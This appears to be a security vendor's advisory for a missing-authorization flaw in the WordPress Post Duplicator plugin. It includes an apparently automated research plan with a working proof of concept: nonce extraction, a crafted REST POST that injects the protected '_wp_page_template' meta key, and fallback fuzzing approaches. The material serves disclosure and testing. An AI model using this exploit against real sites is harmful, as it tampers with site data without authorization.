Post Duplicator <= 3.0.8 - Missing Authorization to Authenticated (Contributor+) Protected Post Meta Insertion via 'customMetaData' Parameter
Description
The Post Duplicator plugin for WordPress is vulnerable to unauthorized arbitrary protected post meta insertion in all versions up to, and including, 3.0.8. This is due to the `duplicate_post()` function in `includes/api.php` using `$wpdb->insert()` directly to the `wp_postmeta` table instead of WordPress's standard `add_post_meta()` function, which would call `is_protected_meta()` to prevent lower-privileged users from setting protected meta keys (those starting with `_`). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary protected post meta keys such as `_wp_page_template`, `_wp_attached_file`, and other sensitive meta keys on duplicated posts via the `customMetaData` JSON array parameter in the `/wp-json/post-duplicator/v1/duplicate-post` REST API endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.0.8Source Code
WordPress.org SVN# Research Plan: CVE-2026-2301 - Post Meta Insertion via Post Duplicator ## 1. Vulnerability Summary The **Post Duplicator** plugin (versions <= 3.0.8) contains a missing authorization vulnerability in its REST API handler for duplicating posts. The function `duplicate_post()` in `includes/api.php`…
Show full research plan
Research Plan: CVE-2026-2301 - Post Meta Insertion via Post Duplicator
1. Vulnerability Summary
The Post Duplicator plugin (versions <= 3.0.8) contains a missing authorization vulnerability in its REST API handler for duplicating posts. The function duplicate_post() in includes/api.php processes a customMetaData parameter and inserts the provided data directly into the wp_postmeta table using $wpdb->insert().
Because it bypasses the standard WordPress add_post_meta() or update_post_meta() functions, it also bypasses the internal is_protected_meta() check. This allows users with Contributor level permissions or higher to inject "protected" post meta keys (those prefixed with an underscore, such as _wp_page_template or _wp_attached_file) which are normally restricted to Administrators or Editors.
2. Attack Vector Analysis
- REST API Endpoint:
/wp-json/post-duplicator/v1/duplicate-post(inferred from description). - HTTP Method:
POST - Vulnerable Parameter:
customMetaData(JSON array). - Authentication: Authenticated (Contributor level and above).
- Preconditions: At least one post/page must exist that the Contributor has permission to "read" (to duplicate it).
3. Code Flow
- Entry Point: The REST API route
/wp-json/post-duplicator/v1/duplicate-postis registered (likely inincludes/api.phpor the main plugin file via therest_api_inithook). - Callback: The route maps to a callback function, likely named
mtphr_post_duplicator_api_duplicate_postor similar, which callsduplicate_post(). - Parameter Extraction: The function retrieves the
post_idto duplicate and thecustomMetaDataJSON array from the request. - Vulnerable Sink: Inside
includes/api.php, theduplicate_post()function iterates through thecustomMetaDataarray. Instead of usingupdate_post_meta(), it executes:$wpdb->insert( $wpdb->postmeta, array( 'post_id' => $new_post_id, 'meta_key' => $meta_key, 'meta_value' => $meta_value ) ); - Bypass: Direct SQL insertion avoids the
is_protected_metacheck insideadd_metadata(), allowing the injection of sensitive keys.
4. Nonce Acquisition Strategy
WordPress REST API requires a X-WP-Nonce header for authenticated requests using cookie authentication.
- User Setup: Create a Contributor user and log in.
- Shortcode/Page Check: Check if the plugin enqueues a specific script. However, since this is a REST API vulnerability, any valid
wp_restnonce will work. - Extraction:
- Navigate to the WordPress Admin Dashboard (
/wp-admin/) as the Contributor. - Use
browser_evalto extract the REST nonce often stored in thewpApiSettingsobject or localized by the plugin. - Target Variable:
window.wpApiSettings.nonce - Alternative: If the plugin localizes its own data, look for
window.mtphrPostDuplicator?.nonce.
- Navigate to the WordPress Admin Dashboard (
5. Exploitation Strategy
- Identify Target Post: Find a post ID (e.g., ID
1) that the Contributor can view. - Prepare Payload:
- Create a JSON body containing the source
post_idand the maliciouscustomMetaData. - Goal: Inject
_wp_page_templateto point to a non-existent or sensitive file, proving the bypass of protected meta.
- Create a JSON body containing the source
- Execute HTTP Request:
- Tool:
http_request - URL:
http://localhost:8080/wp-json/post-duplicator/v1/duplicate-post - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]Cookie: [CONTRIBUTOR_COOKIES]
- Body:
(Note: The exact structure of the{ "post_id": 1, "customMetaData": [ { "key": "_wp_page_template", "value": "pwned-template.php" } ] }customMetaDataobjects—e.g.,key/valuevsmeta_key/meta_value—should be verified by checkingincludes/api.phpif source is available, otherwise tested.)
- Tool:
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Create Target Post:
wp post create --post_type=post --post_title="Victim Post" --post_status=publish(Note the ID, e.g.,1).
- Plugin Activation:
- Ensure
post-duplicatoris active.
- Ensure
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - The response body should contain the ID of the newly created (duplicated) post.
- The duplicated post will have a record in the
wp_postmetatable withmeta_key = '_wp_page_template'andmeta_value = 'pwned-template.php'.
8. Verification Steps
- Identify New Post ID: Get the ID from the HTTP response or via CLI:
wp post list --post_type=post --orderby=ID --order=DESC --limit=1
- Verify Meta Injection:
wp post meta get [NEW_ID] _wp_page_template
- Success Criteria: If the command returns
pwned-template.php, the vulnerability is confirmed, as a Contributor should never be able to set a meta key starting with an underscore.
9. Alternative Approaches
- Different Meta Keys: If
_wp_page_templateis filtered elsewhere, try_wp_attached_fileor_edit_lock. - Parameter Fuzzing: If the JSON body structure
[{"key": "...", "value": "..."}]fails, try a flat associative array:{"customMetaData": {"_wp_page_template": "pwned.php"}}. - Check for Non-REST Entry Points: If the REST API is disabled, check for
admin-ajax.phpactions. The description specifically mentions the REST API, but plugins often register both. Search forwp_ajax_mtphr_duplicate_post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.